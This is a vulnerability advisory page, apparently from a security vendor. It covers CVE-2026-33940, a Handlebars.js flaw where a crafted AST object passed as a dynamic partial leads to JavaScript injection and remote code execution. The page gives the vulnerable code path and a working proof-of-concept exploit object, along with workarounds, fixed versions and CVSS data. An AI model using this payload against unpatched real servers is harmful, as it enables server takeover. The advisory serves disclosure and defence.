Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-33940

Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial
Back to all
CVE

CVE-2026-33940

Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites:

  1. The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
  2. The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

const Handlebars = require('handlebars');
const vulnerableTemplate = `{{> (lookup . "payload")}}`;
const maliciousContext = {
  payload: {
    call: true, // bypasses the primary resolvePartial branch
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Injected code breaks out of the generated function's argument list
          depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
        },
      },
    ],
  },
};
Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

  • Use the runtime-only build (require('handlebars/runtime')). Without compile(),  the fallback compilation path in invokePartial is unreachable.
  • Sanitize context data before rendering: ensure no value in the context is a non-primitive  object that could be passed to a dynamic partial.
  • Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
8.1
-
3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
8.1
-
3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6, https://nvd.nist.gov/vuln/detail/CVE-2026-33940, https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2, https://github.com/handlebars-lang/handlebars.js, https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9

Severity

8.1

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
8.1
EPSS Probability
0.00032%
EPSS Percentile
0.09835%
Introduced Version
4.0.0,0
Fix Available
4.7.9,8.17.10-r15,8.18.8-r11,8.19.13-r5,9.0.8-r16,9.1.10-r9,9.2.7-r2,9.3.2-r2,9.0.7-r2,2.19.5-r5,2.19.5-r4,3.5.0-r12,3.5.0-r9,7.6.0-r5,5.14.3-r13,1.2.3-r8,5.5.0-r11,4.0.1-r0,4.14.4-r1

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading